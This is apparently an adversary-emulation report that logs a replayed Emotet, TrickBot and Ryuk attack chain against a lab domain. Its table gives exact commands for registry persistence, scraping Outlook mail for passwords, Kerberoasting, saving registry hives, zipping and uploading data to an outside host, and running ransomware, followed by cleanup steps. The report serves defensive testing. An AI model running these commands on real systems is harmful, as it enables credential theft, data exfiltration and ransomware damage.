OPERATIONS DEBRIEF

TACTICS AND TECHNIQUES

Tactics	Techniques	Abilities
Collection	T1114.001: Email Collection: Local Email Collection	WizardSpider-02-09-2024-3 Emotet Scrape Email Addresses from Outlook
Command-and-control	T1105: Ingress Tool Transfer T1486: Data Encrypted for Impact	WizardSpider-02-09-2024-3 Emotet Download Outlook Scraper DLL Wizard Spider Downloads kill.bat Wizard Spider Downloads window.bat Wizard Spider Downloads ryuk.exe Wizard Spider Executes Ryuk Ransomware
Credential-access	T1552: Unsecured Credentials T1558.003: Steal or Forge Kerberos Tickets: Kerberoasting T1003.003: OS Credential Dumping: NTDS T1003.002: OS Credential Dumping: Security Account Manager	WizardSpider-02-09-2024-3 Emotet Scrape Email Content From Outlook TrickBot Perform Kerberoasting Wizard Spider Create Volume Shadow Copy Wizard Spider Save Registry Hive
Discovery	T1082: System Information Discovery T1057: Process Discovery T1007: System Service Discovery T1087.001: Account Discovery: Local Account T1087.002: Account Discovery: Domain Account T1016: System Network Configuration Discovery T1049: System Network Connections Discovery T1482: Domain Trust Discovery T1069: Permission Groups Discovery T1069.002: Permission Groups Discovery: Domain Groups	WizardSpider-02-09-2024-3 Emotet System Info Discovery Emotet Process Discovery TrickBot System Information Discovery TrickBot System Service Discovery (systeminfo) TrickBot Local Account Discovery TrickBot Domain Account Discovery TrickBot System Network Configuration Discovery TrickBot System Network Connections Discovery TrickBot System Information Discovery (net config) TrickBot Domain Trust Discovery TrickBot Permission Groups Discovery Wizard Spider Domain Group Discovery
Exfiltration	T1041: Exfiltration Over C2 Channel	WizardSpider-02-09-2024-3 Data from staged file (T1074) and Exfiltration over C2 Channel (T1041)

OPERATIONS DEBRIEF

Tactics	Techniques	Abilities
Impact	T1489: Service Stop T1490: Inhibit System Recovery	WizardSpider-02-09-2024-3 Wizard Spider Runs kill.bat Wizard Spider Runs window.bat
Persistence	T1547.001: Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder T1547.004: Boot or Logon Autostart Execution: Winlogon Helper DLL	WizardSpider-02-09-2024-3 Emotet Persistence Wizard Spider Registry Persistence

STEPS IN OPERATION WIZARDSPIDER-02-09-2024-3

The table below shows detailed information about the steps taken in an operation and whether the command run discovered any facts.

Time	Status	Agent	Name	Command	Facts
2024-02-09T17:45:10Z	success	gljiej	Emotet Persistence	reg.exe add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v blbdigital /t REG_SZ /d "%userprofile%\Ygyhlqt\Bx5jfmo\R43H.dll,Control_RunDLL"	No
2024-02-09T17:45:35Z	success	gljiej	Emotet System Info Discovery	systeminfo.exe	No
2024-02-09T17:45:46Z	success	gljiej	Emotet Process Discovery	tasklist.exe	No
2024-02-09T17:46:03Z	success	gljiej	Emotet Download Outlook Scraper DLL	move /y \\TSCLIENT\X\OutlookScraper.dll C:\Windows\SysWOW64\Outlook.dll	No
2024-02-09T17:46:20Z	success	gljiej	Emotet Scrape Email Content From Outlook	Add-type -assembly "Microsoft.Office.Interop.Outlook" | out-null;$olFolders = "Microsoft.Office.Interop.Outlook.olDefaultFolders" -as [type];$outlook = new-object -comobject outlook.application;$namespace = $outlook.GetNameSpace("MAPI");$folder = $namespace.getDefaultFolder($olFolders::olFolderInBox);($folder.items | Select-Object -ExpandProperty Body | Select-String "password") -replace "\s+", " " -join ";";	No

OPERATIONS DEBRIEF

Time	Status	Agent	Name	Command	Facts
2024-02-09 T17:46:34Z	success	gljiej	Emotet Scrape Email Addresses from Outlook	Add-type -assembly "Microsoft.Office.Interop.Outlook" | out-null;$olFolders = "Microsoft.Office.Interop.Outlook.olDefaultFolders" -as [type];$outlook = New-Object -comobject outlook.application;$namespace = $outlook.GetNameSpace("MAPI");$folder = $namespace.getDefaultFolder($olFolders::olFolderInBox);($folder.items | Select-Object -Unique -ExpandProperty SenderEmailAddress) -join ";";	No
2024-02-09 T17:47:00Z	success	gljiej	TrickBot System Information Discovery	systeminfo > discovery.txt	No
2024-02-09 T17:47:14Z	success	gljiej	TrickBot System Service Discovery (systeminfo)	sc query >> discovery.txt	No
2024-02-09 T17:47:32Z	success	gljiej	TrickBot Local Account Discovery	net user >> discovery.txt	No
2024-02-09 T17:47:51Z	success	gljiej	TrickBot Domain Account Discovery	net user /domain >> discovery.txt	No
2024-02-09 T17:48:09Z	success	gljiej	TrickBot System Network Configuration Discovery	ipconfig /all	No
2024-02-09 T17:48:23Z	success	gljiej	TrickBot System Network Connections Discovery	netstat -tan	No
2024-02-09 T17:48:39Z	success	gljiej	TrickBot System Information Discovery (net config)	net config workstation >> discovery.txt	No
2024-02-09 T17:48:57Z	success	gljiej	TrickBot Domain Trust Discovery	nltest /domain_trusts /all_trusts >> discovery.txt	No

OPERATIONS DEBRIEF

Time	Status	Agent	Name	Command	Facts
2024-02-09 T17:49:13Z	success	gljiej	TrickBot Permission Groups Discovery	whoami /groups >> discovery.txt	No
2024-02-09 T17:49:26Z	success	gljiej	TrickBot Perform Kerberoasting	rubeus.exe kerberoast /domain:oz.local	No
2024-02-09 T17:49:42Z	success	gljiej	Wizard Spider Registry Persistence	Set-ItemProperty "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" "Userinit" "Userinit.exe, $env:AppData\uxtheme.exe" -Force	No
2024-02-09 T17:49:58Z	success	gljiej	Wizard Spider Domain Group Discovery	adfind -f "(objectcategory=group)"	No
2024-02-09 T17:50:15Z	success	gljiej	Data from staged file (T1074) and Exfiltration over C2 Channel (T1041)	Write-Host "[*] Compressing all the things in download dir";Compress-Archive -Path "C:\Users\judy\Desktop\discovery.*" -DestinationPath "C:\Users\judy\Desktop\exfil.zip";Import-Module .\upload.ps1 -Verbose -Force;Invoke-MultipartFormDataUpload -InFile "C:\Users\judy\Desktop\exfil.zip" -Uri "http://192.168.1.138:8888/file/upload";if ($?) { write-host "[+] Data exfil of download directory completed!";} else { write-host "[!] Data exfil failed!";}	No
2024-02-09 T17:50:30Z	success	gljiej	Wizard Spider Create Volume Shadow Copy	cmd /c "vssadmin.exe create shadow /for=C:";	No
2024-02-09 T17:50:48Z	success	gljiej	Wizard Spider Save Registry Hive	cmd /c "reg SAVE HKLM\SYSTEM \\TSCLIENT\X\SYSTEM_HIVE"	No
2024-02-09 T17:51:02Z	success	gljiej	Wizard Spider Downloads kill.bat	cmd /c "net use Z: \\192.168.1.139\C$";cmd /c "copy \\TSCLIENT\X\kill.bat C:\Users\Public\kill.bat";	No
2024-02-09 T17:52:00Z	success	gljiej	Wizard Spider Downloads kill.bat	cmd /c "net use Z: \\10.0.0.8\C$";cmd /c "copy \\TSCLIENT\X\kill.bat C:\Users\Public\kill.bat";	No

OPERATIONS DEBRIEF

Time	Status	Agent	Name	Command	Facts
2024-02-09 T17:52:13Z	success	gljiej	Wizard Spider Runs kill.bat	cmd /c "C:\Users\Public\kill.bat" 2> $null;exit 0;	No
2024-02-09 T17:52:23Z	success	gljiej	Wizard Spider Downloads window.bat	cmd /c "copy \\TSCLIENT\X\window.bat C:\Users\Public\window.bat"	No
2024-02-09 T17:53:40Z	timeout	gljiej	Wizard Spider Runs window.bat	cmd /c "C:\Users\Public\window.bat" 2> $null;exit 0;	No
2024-02-09 T17:53:45Z	success	gljiej	Wizard Spider Downloads ryuk.exe	cmd /c "copy \\TSCLIENT\X\ryuk.exe C:\Users\Public\ryuk.exe"	No
2024-02-09 T17:54:03Z	success	gljiej	Wizard Spider Executes Ryuk Ransomware	Start-Process C:\Windows\System32\notepad.exe;cmd /c "C:\Users\Public\ryuk.exe --encrypt --process-name notepad.exe";	No
2024-02-09 T17:54:17Z	success	gljiej	Wizard Spider Downloads ryuk.exe	if (Test-Path "C:\Users\Public\ryuk.exe") { rm C:\Users\Public\ryuk.exe }	No
2024-02-09 T17:54:20Z	success	gljiej	Wizard Spider Downloads window.bat	if (Test-Path "C:\Users\Public\window.bat") { rm C:\Users\Public\window.bat }	No
2024-02-09 T17:54:21Z	success	gljiej	Wizard Spider Downloads kill.bat	net use /delete Z: ;if (Test-Path "C:\Users\Public\kill.bat") { rm C:\Users\Public\kill.bat };	No
2024-02-09 T17:54:23Z	success	gljiej	Wizard Spider Registry Persistence	Remove-ItemProperty "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" "Userinit" -Force	No
2024-02-09 T17:54:24Z	success	gljiej	TrickBot System Information Discovery	del /f discovery.txt	No
2024-02-09 T17:54:26Z	success	gljiej	Emotet Download Outlook Scraper DLL	del /f C:\Windows\SysWOW64\Outlook.dll	No

OPERATIONS DEBRIEF

Time	Status	Agent	Name	Command	Facts
2024-02-09 T17:54:28Z	success	gljiej	Emotet Persistence	reg.exe delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v blbdigital /f	No